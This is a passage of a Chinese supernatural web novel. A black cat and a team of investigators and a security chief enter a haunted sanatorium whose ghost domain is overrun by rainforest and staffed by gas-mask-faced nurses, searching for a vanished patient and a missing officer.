“回南天恐怖如斯。”她继续咸鱼瘫在床上玩手机。 ———— “你们有没有觉得今年回南天特别可怕?”苏姐拿着条干毛巾,嫌弃地擦桌上沁出的水珠,“以前红竹市也没这样啊。” 研究所里其他几个人低头干自己的事,只有小咪“喵”一声回应她。 猫也觉得好潮,它的毛结成一绺一绺,舔起来有股黏腻不散的湿意。 苏姐抽出张纸巾,把小猫抱在膝盖,为它擦爪爪。 小咪是长毛,踩在湿润地板上,爪子上的毛总是湿漉漉的,不过回南天也有个好处,天天踩着湿地板,小猫的肉垫变得又粉又嫩,像一块粉红的果冻。 苏姐轻轻捏着肉垫,爱不释手,边和同事唠叨:“我在红竹市这么多年,头一次见这样湿的回南天,太难受了,筷子菜板洗完,第二天就发霉了。衣服也容易发霉,”她低头,在小猫的肚皮嗅一口,庆幸道:“幸好我们小咪没有发霉。” “喵!” 小猫的肚皮还是香香的,由于湿气过重,香味从原来蜂蜜一样的奶香,变成一股热烘烘的小猫味。 小咪摊开肚皮,无奈任由人来嗅来嗅去。 今天赵佳怡外出约会,很早化妆完离开,它刚跑到爷爷家,就被夏炫揪来研究所学习。 猫不喜欢学习! 在学了三分钟后,猫对这点深信不疑。 “这么多人在啊,”赵铮铮带着自己一队顶黑眼圈的治安员们,敲开研究所的门,熟悉地打招呼,“正好来帮个忙。咦,喵喵也在,”她发指令,“摸!” 治安员把小咪围住,很有纪律感地伸出手,整齐地在猫身上抚摸。 一只手在小咪的下巴挠,左右两只手捏它的脸颊肉,上面两只手从猫的头顶摸到尾椎,还有手在捏它的爪爪。 小咪被摸得眯起眼睛,脑袋往苏姐的怀里一钻,“喵呜!” 苏姐心疼地环住小猫,“够了啊,别欺负我们的所猫。” “收。”赵铮铮抬手。 治安员们整齐地收回撸猫的手,只是有些意犹未尽。 “太羡慕了,居然有所猫。” “咱们局里什么时候也养只猫猫。” “这只就很漂亮了,可以把这只猫猫偷回去吗?” “队长努力一下,把猫猫偷走吧。” 苏姐:“……你们收敛点!别当着人的面大声密谋啊。” 赵铮铮来依旧是为了庆康集团。这位老总藏得很深,明面上几乎抓不出他的把柄,势力盘根错节,不好动他。但治安局搜索关于他的档案,发现当年原配意外车祸去世,似乎另有隐情。 她拿出一张图,在某个地点画红圈,“妻子死后,他捐了一栋教学楼纪念,就是竹大的第七自习楼,这是他们家住的老别墅,还有这个,青山疗养中心,现在他的儿子正在里面接受治疗。这三个地点组成三角,正好把庆康集团大楼护卫在中心。我不懂玄学,这有什么说法吗?” 苏姐表情难看,“像是献祭全家,换了自己飞升。你想让我们干什么?” 赵铮铮将笔指向青山康愈中心,“把他儿子给接出来。” “这事不难吧?”夏炫拖了个椅子,下巴抵着椅背,“还是你们的人去接比较合理吧。总不能我们过去把人带走,说带他去研究神话。” 赵铮铮:“我们找不到这个人。” “啊?” “所有的医生护士都在照顾一个空的床位,推空的轮椅去草坪晒太阳,他好像一个并不存在,又被所有人默许的病人。我们既然看不见,也无从把他带走。” 夏炫皱眉,喃喃:“好怪。那他到底存不存在,是死还是活的?” “有治安员在门口看见过他,他坐在窗户边,是个苍白瘦弱的青年,但推开门想走过去时,他又消失不见了。” 夏炫:“这听着更不像人了。” 赵铮铮“嗯”了声,“那个治安员也消失了。”她脸上一闪而过担心,又马上收敛起自己的情绪,“我相信你们能救出他们。” “对了,王绍远的儿子名字叫王旦,不过这是后来他爸改的,最开始他随母姓,名字叫沉风渡。” “喵?” 趴在苏姐身上的小咪耳朵一头,趴在爪爪上的小脑袋抬起。 “沉风渡?”夏炫摸着小猫的脑袋,“那他确实还活着,是不是?” “喵!” ———— 治安局系统调不出沉风渡成年后的照片,他在这个世界的痕迹似乎停滞在十八年前的车祸。 赵铮铮只给他们一张全家福,照片上的孩子只有四五岁的样子,戴着卷曲的假发,五官精致,身上穿着和母亲同款的祖母绿长裙,像个城堡里的公主。 夏炫盯着照片。 在几个人身后是绿色草坪,和沈家一座大庄园。如果没有出事故,他大概也会像公主…… 不对,应该是王子一样长大。 “可惜了。” 夏炫叹口气,开始调查青山康愈中心。这是建在郊区的一个高档疗养院,坐落在一片湿地公园里,青山绿水环抱,空气很好。 在康愈中心上班的护士医生档案被调出来,没有什么特殊的,就是很正常的打工人。 在以往,他们也没听说过康愈中心有闹鬼的传闻。 “对了,”赵铮铮友情提醒,“你们进去的时候,尽量别弄太大的动静。这是本市最好的疗养院,所以有很多……不愿意被打扰的人。” 鬼域凶险,又有治安员在里面失踪,时间变得非常紧迫。 准备一下,研究所就决定派人去康愈中心。 一般来说,出任务时一般带三个能力者。一个攻击型,搭配两个辅助。 现在萧向秦带着几个人在外面,所里由副队苏姐做了算。 苏姐叫苏乐,总是笑嘻嘻很和蔼的模样,可影子其实是近身攻击型,很适合疗养院。如果像萧向秦一样,拿把枪把里面的东西全突突了,鬼域能不能解决不知道,疗养院里那帮老弱病残,说不定都要被枪声吓死了。 苏乐把小猫放在一边,站起来环顾一圈,正准备点兵。 “喵!” 她低下头,桌子上的小黑猫朝她叫。 小咪:“喵喵喵!” 猫也要去。 苏乐弯起嘴角,眼神在一瞬间变得柔和,笑着说:“咪咪乖,鬼域很危险,你待在这里学习好不好?” 小咪:“喵。”它轻盈地跳下桌子,飞快跑向自己的“教室”。 苏乐指了指万木春和另外一个女孩,“你们跟我一起进吧。” 三个人起身就走,刚走到门口,身后又传来哼哼唧唧的叫声。 小猫叼着自己的小帽子,翘起尾巴飞快地跑过来,金色的眼睛坚定倔强。 因为要叼帽子,它不能大声“喵”了,声音哼唧,在苏乐的身前乖乖坐好,把头仰起,期待地看着她。 “你也想过去?” 它把帽子放在地上,“喵!”说着前爪腾空,像人一样站起来,用头去蹭人的手,“咪呜——” 苏乐笑了,“出任务还会戴上小帽子。” 真是只有秩序感的小猫咪。 “不过,”她捡起地上帽子,随手一丢,准确地丢在夏炫的脑袋上,“不可以。” “喵!”小咪大声囔囔,一点都不妥协。 苏乐觉得小猫很可爱,但一起进入暗世界的,是出生入死的队友。让她把自己与同事的性命和一只猫联系在一起,她始终不太乐意。 她一眨眼,帽子重新被小猫戴在了头上。 咦?怎么移动的?她怎么没有看清。 夏炫:“咪咪,陪我在研究所待着嘛,今天学习表现好,我给你开罐头。” “喵!”小咪背对着他,尾巴不开心地甩来甩去。 夏炫只好改口,劝道:“苏姐,咱们小咪很厉害的,让它跟着进去看看嘛。小猫是暗世界的保护神哟。” “咪!” 苏乐嘴角绷紧,和小猫僵持。万木春和叫崔姜的女孩对视一眼,想要开口,但又忍住了,他们知道,苏姐看着温和好脾气,其实性格是所里最火爆的,一旦决定,几乎不能更改。 “喵呜。”小咪扒拉着苏乐的裤腿,歪头蹭她。 小猫湿润冰冷的鼻子在手背拂过,苏乐手指微微蜷曲,努力忍住想摸的冲动,“不行!” “咪——”小咪拖长了声音,身子一蹿,从她的手臂往上爬,跳到她的肩膀上,毛绒绒的大尾巴像围脖一样环住人的脖子。 苏乐偏头,恰好和小猫的脸贴着。 小咪低头,用脑袋顶蹭她的脸颊,丝绸顺滑、云朵柔软的毛滑过皮肤。 苏乐嘴角抿起。 “咪呜。”小咪夹着嗓子叫,眼神期待。 苏乐:…… 赵铮铮把猫抱在自己怀里,“你这个铁石心肠的女人,咪咪跟我走算了。我们局里正好缺一只警猫。” 小咪趴在治安官的头顶,脑袋上还带着个制服小帽子。 赵铮铮刚踏出大门,四周的路人就投来炽热的视线。 出于对治安官们的敬畏,路人不敢看得太明目张胆,但忍不住拿出手机,悄悄拍张照片。 “我的天,第一次看见治安猫猫出巡!居然被顶在头上,太宠了吧。” …… 小咪喜所长为自己织的帽子。它把头高高仰起,让帽子不掉下去,显得格外神气。 这一路的围观并没有持续多久,很快,他们就进了治安车,驱车往城外走。 外面植被越来越茂盛,快到疗养院时,万木春把车窗摇下,深吸口新鲜空气,“难怪把疗养院开在这呢,我老了也想来这边养老。” 小咪看见窗户打开,从人的腿上踩过去。 猫肉垫踩过大腿时,崔姜舒服地“啊”了声,又觉得自己有点变态。 小咪又踩过万木春的腿。 “啊——”他眯起眼睛,舒服地长长叫一声,“被小猫踩,爽!” 崔姜:……变态! 看见小猫走过来,万木春长臂一伸,从小咪的肋下穿过。小咪踩在他身上,脑袋搁在窗户边,一起望着飞驰的风景。 风吹动小猫的长毛,它专注地凝视窗外,阳光在金色的瞳孔里跃动。 两个年轻人看着小猫被风拂动的长毛,不约而同露出微笑。 好奇怪。只要看着小猫,心里就会不自觉涌出极其幸福的感觉。 治安局的车停在路边,赵铮铮走下车,和他们做了个手势。 “为了避免打草惊蛇,治安局的车先不进去。”她拉开车门,“让个位置。” “啊?” 赵铮铮换下了治安局的制服,穿着轻便的运动装,“我和你们一起进去。” 万木春:“啊……赵局,我们可是要进鬼域。” 赵铮铮径直往里面挤,很不客气地把他手里的小猫抢过来,抱在自己怀里,“我知道。”她亲了亲小咪的爪爪,“我去找我的同事。” “但是——” 不等说完,赵铮铮打断他的话,很平静地说:“她是我带的人。我不会给你们拖后腿,如果真出现意外,我带了枪,最后一颗子弹会留给自己。” 她捏着小猫柔软的肉垫,表情平静,态度坚决。 万木春看她一眼,觉得这位正值壮年的治安队长,虽然没有影子能力,意志却像一块坚硬的钢铁。 然后她低头亲了小猫一口,钢铁突然就有了人的血肉与温度。 “喵!”小咪趴在女人的颈窝,“呼噜呼噜。” 他们的身份是准备送老人来疗养院的家属,因为不放心,所以亲自来实地考察。 青山疗养院收费很高,他们又表明想让老人长期待在这里修养身体的想法,便收到了院方热情款待。 一位爱笑的胖护士带着他们在疗养院走。 疗养院依山傍水,有个人工挖出的人工湖,湖面碧水粼粼,小桥弯曲,通向一座湖心亭。亭里有人在对弈。 庭院内是绿树成荫的花园,风吹柳叶拂,老人们或者坐着晒太阳,或者在慢慢散步。 环境十分静谧悠闲,小猫趴在人的肩膀,好几次想跳下去扑蝴蝶,被人给按住了爪爪。 “咪咪,你是只见过世面的猫,”万木春小声说:“咱们扮演的可是成功人士呢,别乱跑,做个端庄的贵猫。” “咪~!” 小咪端庄地坐好。 疗养院服务极好,护士笑眯眯介绍完外面优美的景色,又带他们来到草坪。几栋灰白色的建筑如同明珠分散错落在草坪上,有茶室、图书馆、影音厅、理疗室,温暖的阳光毫不吝啬地在草坪挥洒,让青山疗养院闪闪发光。 大家婉拒了护士要带他们去娱乐设施逛的请求,想直接穿过草坪,去前方三层楼的建筑。那是康愈中心的疗养楼,状况比较严重的病人在其中修养。 之前治安局打探好消息,沉风渡就住在二楼最角落的房间。失踪的治安员,也是在这栋楼里丢失的。 几个人抬起头往上看,房间的窗户被厚厚窗帘遮住,瞧不见里面的模样。 小咪也仰起脑袋,在它看过去时,厚重的米白色窗帘突然掀开一个角落,玻璃窗后,露出张苍白的面孔。 “喵呜?”它歪了歪脑袋。 等人再望过去时,窗帘又悄无声息地放下了。 疗养楼的气氛和外面截然不同,刚踏入其中,就有股属于医院的消毒水味道扑面而来。 护士在尽力宣传自家高档的医护平台、医疗设施,边说边偷瞟几个人,“老先生是身体不太好吗?” 赵铮铮“嗯”了声,指了指自己的头,“人老了,这儿有些不好使。” 护士露出了然的表情,轻叹了口气,“阿尔茨海默症。” 这是老年痴呆的另一种说法,年龄增长,脑神经也逐渐萎缩死亡,在疗养中心,有不少这样的老人。 “我看见了一只羊!我看见了一只羊!” 来到二楼,他们就听见一间房里有人大喊。 护士停下脚步,透过观窗看着里面的老人,“这位老爷子也是一样的病,送过来快二十年了。” 老人躺在病床上,表情呆滞,眼神茫然地望着虚空。 “二十年?”万木春有点惊讶,“这么久。” 护士点点头,“我来之前他就在了,还有一个这么久的病人在走廊另外一边。” 苏乐突然问:“我们能进去看看他吗?” 护士犹豫了一下,点了点头,“好吧,老爷子很喜欢年轻人。但是他的行为有点奇怪,你们不要被吓到了。”她轻推开门,说:“老爷子?” 老人浑浊的眼珠子转了下,扫过众人,落在小咪上。他挥舞着手臂,大喊:“我看见了一只羊!我看见了一只羊!” 护士替他掖被子,笑着说:“老爷子,你弄错了,那明明是一只小猫,很可爱的小猫,是不是?” 老爷子的眼神又开始放空,仿佛迷失在另外一个世界。 “他是老兵,”护士压低声音,小声对几人说:“打过好多场仗呢。以前身子骨硬朗的时候,几个男护工都按不住他,可惜这几年身体越来越不好,几次抢救……” 她突然噤声,意识到自己的话有损疗养中心的形象,改口:“幸好我们疗养院医疗设备齐全,都给老爷子救回来了,要是换个地方,可没有这样的能耐。” 护士带着人穿过长长的走廊,轻声介绍,直到来到最后一间房。 “那也是位住了很久的病人,”透过观窗,她对着门微笑,“这么年轻,真可惜啊,他长得很俊,是不是?” 众人都陷入沉默。 透过一条窄窄的玻璃,没人能看见里面的“病人”。 第45章 和之前负责调查的治安员一样,他们什么都没有看见。 厚重窗帘前有一个轮椅,轮椅对着窗,仿佛有人正凝视着外面的天地。但轮椅是空的,窗帘也没有拉开。 王旦,或者说沉风渡,就像一个疗养院虚构出的透明人。 他真的存在吗? 还是疗养中心编造的谎言? 作为更愿意相信真实的治安队长,赵铮铮的脑子里闪过很多披着灵异外皮,装神弄鬼实际违反犯罪的案子。难道这个疗养院全部员工都打配合在装神弄鬼,假装有一位“病人”的存在,来从他父亲王绍远那里获取疗养费。 如果这样,为什么来调查的治安员会消失? “喵。” 小猫在努力给他们使眼色。 小咪看着人,然后扭动自己的脑袋,下巴轻轻抬起,人里人气地暗示—— 快看啊快看啊! 顺着小猫的视线,人也偏过脸,看向护士。护士正好收回目光,与他们目光相对, “怎么啦?” “我们能进去看一下吗?” 护士连忙拒绝, “不行……” 话还没说完,门就被赵铮铮拉开,她直接走入房间,锐利的视线像鹰隼一样在房间扫过,不放过任何一个细节。 这是间很冷清的房子, 老兵的房子尚还有点缀, 这间房却显得冷冰冰的,不像有人长久生活的气息。 雪白的床边是一架冷冰冰的医疗设施,环顾一圈,只有窗边圆桌上,放着一本摊开的书。 小咪脑袋一拱,想要跑进房间。 “哎不行,”护士连忙俯身抓它的尾巴,“病人身体虚弱,对猫毛过敏,你不能进去的。” 小咪一个灵敏闪躲,跳到门上,前爪趴在门板上方,从门上露出圆溜溜的眼睛,好奇地打量屋里。 “喵呜。” 青年坐在轮椅上,听见声音回头,俊秀苍白的脸上露出久别重逢的微笑,“咪咪,过来。” “喵!” 小咪刚想跳进去,门突然被一股巨大力气重重合拢。幸亏它反应及时跳下来,不然猫已经被夹成两段了。 它跑到墙角,用树根挠了挠爪子压压惊。 “喵?” 为什么走廊会有树根? 意识过来时,猫抬起头,格外漫长的冰冷水泥走廊已经变了模样,墙面裂开,遒劲的树根挤破了混凝土,窗外,密密麻麻一片招摇的绿色。 猫已经进入了另外一个世界。 “喵呜?” 它舔了舔爪子,来到紧紧闭合的门前,刷白漆的森寒门板,贴着张纸条。 纸条上字迹歪斜,柔弱无力,墨迹也在潮湿水汽中晕开,显得有些模糊。 小咪认真辨认,幸好前一天学了字典,它能认出上面的字。 “小心!不要被绿色入侵!” ———— 赵铮铮的目光落在那本书上。 绿色的树叶作书签,夹在其中一页,那上面写的是一首诗。 “森林: 没有人知道我是谁,我站在世界的一方。 我的容量大如海,随微风而起舞, 张开绿色肥大的叶子,我的牙齿。 ……” 她粗略瞟过,看不太懂诗句的意思,注意力又放在那片叶子上面。 叶子很肥厚宽大,长圆形,像一个瘦长的绿卵,比书页要长出一截,颜色深绿,像被用浓烈的绿色颜料描画。 这并不是红竹市常见的植物,在疗养院里,她也没有发现类似的植被树叶。 老治安官的直觉让她心里警铃大作,望着树叶,感觉极大的违和感。 是那少年留给他们的暗示吗? “喵喵?” 万木春的惊呼让她回头,“怎么?” “咪咪不见啦,刚才还在这里的。” 就在护士伸手抓猫尾巴时,小咪跳到门上,下一瞬间,它就消失在众人的世界中。 小猫进入鬼域了。 几个人心中一沉,可他们还没有发现鬼域的入口。 “是这扇门吗?”万木春拉开门,走进去,退出来,又走进,退出,几次重复都没能触发鬼域。他抬起头,目光上移,稍微思考两秒,后退至走廊,一个猛地助跑起跳,像猫一样跳起来,吊在了门上。 门板受力砸向墙壁,发出“砰”一声巨响,他的手被重重夹了一下,痛得他怪叫一声。 “看来也不是从上面走。”他龇牙咧嘴地摊手。 护士看出不对劲,掏出手机,“你们这是要干什么?再打扰病人,我就要报警了。” 赵铮铮亮了下工作证,“我就是治安官。麻烦你协助我们调查。” 护士表情微变,换了说辞,笑着说:“那几位来疗养院,有没有和我们老板联系啊?”见他们不说话,她往后面退,背在身后的手握紧手机,“我去给你们倒杯水。” 她准备用这个理由去偷偷给老板报信。 “护士小姐。”崔姜走到她面前,看了眼她胸口的工作牌,“丁丽芳女士。” 护士与她对视,片刻,眼神逐渐茫然。 “我们想在这里待一会,去做你自己的事吧,不要通风报信哦。” 护士点点头,转身离开。 赵铮铮:“催眠术?” 崔姜微笑着把发丝挽到耳朵后,“一点微不足道的小伎俩。” 护士离开后,他们能在这层楼自由活动。可是不管将门打开多少次,都没能够触发进入鬼域的契机。 “为什么咪咪能进去呢?”崔姜蹙眉,很为小猫担心,“鬼域里不知道有什么危险,它独自进去,要是遇见鬼怎么办?” 它可是只柔弱不能自理的小猫咪呀。 苏乐走进房间,扫视一圈,也将目光放在桌上诗集上。风吹动,书页沙沙作响,白纸翻页,那片过分浓绿的叶子冒出个尖尖的头。 “这叶子不太对劲。” “有什么不对?”万木春伸手想拿叶子,被她阻止了。 “别乱动房间的东西,说不定有危险。”苏乐手掌扇风,让书页翻回上一页,认真打量着叶子,“这种树叶在红竹市不常见。” 眼前是一片娑罗双树的叶子。 娑罗双树产自南洋热带雨林里,喜光喜湿热,不是红竹市的本土植物。他们刚才在青山疗养中心逛了一圈,也并没有发现花园种植这种树木。 “红竹市的气候地理不适合娑罗双树的成长,就算市里有这种树,应该也很稀少。但这片叶子很鲜嫩,刚摘下不久,”赵铮铮凝视树叶,皱起眉,“一个离不开轮椅的病人,是从哪里捡到这片叶子的呢?” 万木春:“先摸一下叶子,说不定摸一下,就能进去了。” 崔姜站在门口,没有进入,以免造成全队都被困住的局面。 她谨慎打量周围,“可是咪咪进入暗世界前,并没有进入房间,更没接触到树叶。” 她回想小猫的经历,“咪咪一直跟我们在一起,在老爷子的房间里,老爷子神智不清,喊它白羊。但这应该也和鬼域没什么关系。重要的是在门口的时候……” 在门口的时候,小猫做了一个奇怪的动作。 它的小脑袋转动,下巴扬起,努力给他们暗示,想让他们看护士。 她也确实看过去了,这位叫丁丽芳的女士,没有什么奇异之处。 不对。不是这样的。 小猫做完暗示,她望过去的时候,丁丽芳正好将脸扭过来。如果将时间往前推一秒,她正透过观窗,看着房间里的景象。 所以咪咪想让他们看的,不是丁丽芳,而是丁丽芳的眼睛。 准确来说,是她眼睛里的倒影。 “我知道了!你们等一下。”崔姜飞快地奔向走廊,把护士重新叫回来,让她站在了门前。 这次,透过护士的眼睛,他们终于看见,不存在的苍白人影。 下一秒,面前的门砰地合上, 他们已经身在鬼域之中。 人最先注意到的,依旧是挤破混凝土的发达植物。万木春走到窗前,窗外是一片苍郁的翠绿,他“嚯”了一声,“怎么我们这是进了森林吗?” “小心,不要被绿色入侵。”崔姜念出这句话,喃喃:“绿色入侵,是什么意思?” 赵铮铮第一次进入鬼域,面对这样的超自然力量,她并没有慌乱,拿出枪,平静地看着走廊。 走廊几乎被植物挤裂了,能带给人安全感、坚硬可靠的混凝土,就好像变成小孩子手里的玩具,被随意揉捏。天花板裂缝如网,水珠从裂缝往下滴,巴掌大的黑蜘蛛迅速从头上爬过,水泥上布满湿润的苔藓。 而窗外面,绿色更加浓烈密集。 “我们这是身在一片森林里?被森林包围了?那这里应该不是红竹市了,”崔姜想不通,“好怪的鬼域。” 苏乐:“为了保险,先不要碰绿色的东西。” 她来到门前,门上的观窗爬满苔藓,瞧不见里面的模样。 “王旦?” “沉风渡?” 没有响应。 “苏姐赵队,门上有五个锁孔。”崔姜:“我们要收集五把钥匙,才能打开这扇门。” 【不要被绿色入侵】是唯一的提示。 纸条上的字迹绵软,能看出写字的人力气不大,他们更倾向于这句话是真的,是沉风渡留下的提醒。 赵铮铮点头,“先去搜索这层楼。” 崔姜和万木春搭档往前走,女孩一边避开从走廊侵入的绿叶,一边小声喊:“咪咪、咪咪?” “喵!” 没喊两声,走廊外传来小猫的回应。 他们跑到窗边,见小猫趴在树枝上,身子压着爪爪,瞪着圆圆的眼睛朝他们叫:“喵啊。” 两个人心里一咯噔,有种不好的预感,小猫都爬到树上,已经碰到绿色的叶子了吧。 “咪咪,过来。” 小咪在树皮上磨磨爪子,站起来伸了个懒腰,迈着优雅猫步靠近。 他们发现,小猫步伐灵巧,路过拦路的绿叶时,它轻巧地一个跳跃,跳到另外一根粗壮树枝上,片叶不沾身。 “咪咪真是太厉害了。”崔姜感慨。 “不过沾到叶子也没有什么吧。苏姐太稳健了。” 崔姜瞪他一眼,“你也给我稳健一点,不要乱浪。”她余光瞥过大树,心中一紧,“咪咪,小心!” 在小猫身后的树枝上,盘着条巨大的网纹蟒。蟒蛇身体灰褐色,当它一动不动趴在树上时,几乎与褐色树皮融为一体。 它从树枝爬出,阳光透过浓密叶子,落在蟒蛇暗黄色、圆钝的头部。 两个人倒吸一口凉气,这玩意别说猫了,连野猪都能吞掉。 它的动作看似缓慢,其实很快,沉甸甸的身体压得粗壮树枝微动,枝头树叶哗哗作响。 小咪察觉到危险,猫猫加快速度,猛地往前冲,爪子在粗糙树皮上刨出火星。后面的蟒蛇也张开大嘴,朝它逼近,漆黑的影子压在了猫的身体上。 离窗户三米的位置,小咪纵身起跳,跳到人类的头顶。 崔姜和万木春连忙后退,与巨蟒对峙,几分钟后,巨蟒身躯缠绕树枝,迟缓地进入阴影中,只有双暗红的眼睛,依旧发着寒光。 “呼。”他们长舒一口气。 “咪咪,你运气真好!”猫毛绒绒的大尾巴在人的脸上拂来拂去,崔姜的脸颊被它弄得麻麻痒痒的,忍不住笑,“哎,你挡住我的视线啦。” “咪!”小咪转个了方向。 “这栋建筑就像是一座堡垒,抵挡外面的东西。”万木春分析:“这样看,绿色入侵,其实暗示的是森林入侵?如果建筑被攻破,森林外的蟒蛇和其他各种危险都会钻进来,我们的麻烦就大了。” 崔姜:“啊,好怀念队长!” 本来以为疗养院里的鬼域,用不上萧向秦那种杀伤力巨大的热武器,结果把他们直接从疗养院传送到热带雨林了。 万木春附和:“要是萧队在,铁柱一顿突突突,哪用怕这些蟒蛇啊?” “你对钢铁之柱尊敬点好嘛!” 建筑整体保持了疗养楼的结构,而且,居然还有病人存在。 除了沉风渡的房间,其他房间的门都能推开,好几个房间都有老人躺着,就和他们在疗养院看到的一样。 “我看见了一只白羊!我看见了一只白羊!” 走廊末尾房间里,那位老年痴呆的大爷还在囔囔着。 房间里和疗养院一模一样,并没有被绿色入侵的痕迹。两个人见没异样,一个在外面放风,一个进房间搜查。 小咪从崔姜的头顶跳下去,趴在老爷子的胸口。 崔姜想阻拦的时候已经来不及了,见没发生什么,才松口气,继续在屋子里寻找,翻抽屉翻出一箱子勋章。 她对床上的老人顿时肃然起敬。 这可是以前保家卫国的老英雄。 “咪呜——”小咪低头,蹭蹭老人的下巴,他就像一棵躺在床上的老树,褐黄的肌肤也像树皮一样粗糙。 那双浑浊的眼珠子缓慢转动,落在胸口小猫身上,虚渺的视线终于有了焦点。 “喵!”小咪叫。 “白羊!”他突然激动起来,大喊:“白羊!” 小咪:“喵?” 猫明明是一只黑猫。 “大爷眼神不太好,这都能认错。”万木春打趣着,突然听见脚步声,偏头看一眼,笑容骤然消失。 小咪耳朵动了动,往后面撇。 它也听见了脚步声,“喵?” “你们是新来的病人吗?” 一个高大的护士从台阶走上来,瓮声瓮气地问道。 崔姜连忙把抽屉关上,站直,拿出鬼域外搪塞护士的托辞,“我们准备把家人送来疗养院修养身体,来这里考察一下情况。” 当她的目光移到护士身上,表情微变,脸色发白。 护士很高大,和门框一样高,像个肌肉发达的怪物,它没有露出五官,脑袋上罩着一个大号面罩。 外面是层和人肌肤相似的橡皮,眼睛的位置变成两个圆圆的黑色镜片,像野猪形状的嘴唇往前凸起。 这让护士像个形状古怪的怪物。 隔着面罩,它的声音显得沉闷古怪,“是家属……好吧……好吧……病人的房间,不能随便进入的。我带你们去其他楼逛逛吧。” 还有其他楼? 古怪的护士往前面走,走了几步,它回头,闷声闷气地问:“怎么不跟过来?你们不是,来参观的吗?你们不会是……” 它突然逼近,像青蛙一样凸起的漆黑镜片冷漠地注视着人类,“你们不会是入侵者吧。” 四周温度仿佛冷了好几个度,两个人感觉一阵森然寒意。他们听见整齐脚步声,往后面看,每个房间里都探出这样一个古怪的头颅,面罩后投射出的视线如有实质,像尖针一样刺在他们身上。他们耳朵里传来嗡嗡的声音,鼻孔涌出一股热流。 万木春用手一擦鼻血,忍不住念叨:“这它大爷的是什么鬼东西。” “喵!” 猫叫声让视线转移,他们承受的压力马上减轻。 小咪朝着护士大声叫几声,身体一蹿,跳到它的肩膀上,爪子划拉它的面罩一下。 面罩上出现三条抓痕,渗出鲜红血液。 两个人面孔发白,本来以为这位古怪护士是带着面罩的,没想到,这张面罩就是它的脸。 崔姜咬咬唇,定了下心神,耳朵的嗡嗡声减弱,“你在前面带路吧。” 护士笑了几声,声音透过面罩,从野猪嘴筒里传出,格外古怪,“好呀。最好的疗养中心,欢迎您的到来。” 楼梯不像走廊那么破败,他们跟随护士,走出了这栋疗养楼。 外面的花园还在,只是植物长得格外茂盛高大,几栋供老年人娱乐休闲的建筑立在一片葱茏绿意里,灰白墙壁爬满的绿色蕨类植被。 许多头戴面罩的护士推着老人,在花园散步。 小咪注意到,他们在铺好的水泥路上走动,刻意避开了地上随意疯长的绿色植物。 很快,苏乐和赵铮铮就被另外一个面罩护士带着,从疗养楼另一半的楼梯走下,看来是遇到和他们一样的问题。 看见苏乐她们,两个年轻人心中稍安,毕竟她们一个有枪,一个能力属攻击型,对上这些怪物护士,说不定能有一战之力。 小咪从人的肩膀跳下,翘起尾巴跑到苏乐脚边,“喵!” 苏乐微笑着把小猫抱起,对怪物护士说:“那也是跟我们一起来的朋友。”她的态度很平常,又带些属于客户的傲慢,“带我们过去吧。” 赵铮铮心里捏把汗,始终把手放在枪上,看见护士沉默转身带路,她松了口气,小声说:“姐,真有你的。” 苏乐:“鬼域就是这样,不要戳穿它们,慢慢在里面寻找线索。” 两拨人汇合在一起,小咪也选了个自己喜欢的位置——苏乐的肩膀——昂首挺胸地蹲坐着,小脑袋左右张望,尽职尽责地为人类巡逻。 青山疗养院外面变成一片茂密无际的森林,城市公路全部消失不见。森林在吞食着疗养院,发达的根系绞缠着混凝土的墙体,建筑靠近森林的一侧显得特别明显,墙体都已经开裂。 疗养院像是茂密森林里的一座堡垒,绿色入侵,也象征着森林的入侵。 “它们的面罩……”赵铮铮刚开口,那几个怪物就把头扭过来。她闭上了嘴,决定等怪物离开时再讨论。 “十二点。要去吃饭了。”护士闷声闷气地说。 也不等他们回答,它转过身,往前面一栋楼走。在路上散步的所有护士、户外活动的老人,都做出同样的举动,步伐整齐地走向食堂。 连疗养楼里静躺着的老人也被护士推了出来。 在人潮里,赵铮铮看见自己的同事,打了个招呼后,她带着几个人走来汇合。 “赵队!”小姑娘扑进她的怀里,“呜呜呜,吓死我了。” 赵铮铮拍拍她的后背,“别怕,我们待会一起出去。” 小姑娘叫吉祥,是刚进治安局的新人,她后面还跟着几个人,是和她一起被拉入鬼域的倒霉蛋。 一个是三兄妹,都是中年人,是真来实地考察,准备将父母送来疗养院的客户。 另外一个是个年轻女孩,个子高挑,背挺得笔直,很有精神,但不像是能来这里消费的,气质和疗养院格格不入。 “王菱。来这边找工作。” “喵!”小咪从苏乐肩膀起跳,弹簧一样飞起,准确跳到女孩的怀里。 王菱顺手搂住它,一手环住它的爪爪,一手托住它的屁股,凤眼微微睁大,“咪咪?” “喵呜~”小咪蹭蹭她的脸。 “咪咪很喜欢你。”苏乐看她都变得顺眼了不少。 “这到底是怎么回事?”那三兄妹很有钱,算成功人士,态度难免傲慢,“你们也是治安局的?快带我们离开这里。” 赵铮铮没搭理他们。 护士们在一个个朝食堂走去,最慢的刚从疗养院推轮椅走出。 “我觉得,我们也要尽快去食堂。” 苏乐点头表示赞同。 “在这之前,”趁着护士没有在身边,她飞快说出自己的观察,“它们脑袋上戴着的面罩是过滤式防毒面具,几十年前的老款。” “秦队,”万木春开口:“它们不是戴着防毒面具,它们脑袋就是防毒面具。” 赵铮铮皱了下眉,想到疗养院这么多怪物,就一阵恶寒。 “防毒面罩,绿色入侵,”苏乐沉吟片刻,“鬼域的主题,也许和战争有关。” 第46章 “我还在诗集上看到一首诗, 也是说的森林。”苏乐把自己看到的几句念一遍,但没有一个人能认出这首诗。 “森林也和战争扯不上什么关系吧,为什么防毒面罩都弄出来了?”万木春眨了下眼, “苏姐,要不用下我的能力?” 苏乐:“再探索一会吧。” 她从口袋拿出一只银色的小鸟,小咪一下子瞪圆眼睛,胡须飞快颤动,发出电报一样咔咔声。 小鸟! 它记得,这是夏炫的影子,叫“信使”。 “阿炫,”苏乐对着小鸟念出诗句,“你在外面帮我查一下这首诗的来历。” “还能和外界联络?”赵铮铮好奇问,“为什么没有人回?” 苏乐摇头,也没打算将夏炫能力说出, “这个手机信号有的时候不好。” 信号好不好,能不能等到及时回应,全看鬼域范围和距离。他们不能一直在这里等下去,眼看最后一波护士在往食堂赶,苏乐抬步,准备带着人跟上去。 “跟那些鬼东西一起走干嘛?”三兄妹里的小妹开口,很不情愿的样子, “趁着他们都赶到食堂,我们不该早点想办法出去?我记得,出口在那边。” 她抬手往前指, “我要去出口,你们谁跟我?” 没有人打算跟她一起走。 小妹大约四十来岁,挑起柳眉, 看向自己两个哥哥。 二哥有些迟疑不定的样子,大哥则是想要跟大部队往前。 赵铮铮:“你最好还是和我们一起走,就算离开疗养院,现在外面变成了森林,怎么出去?” 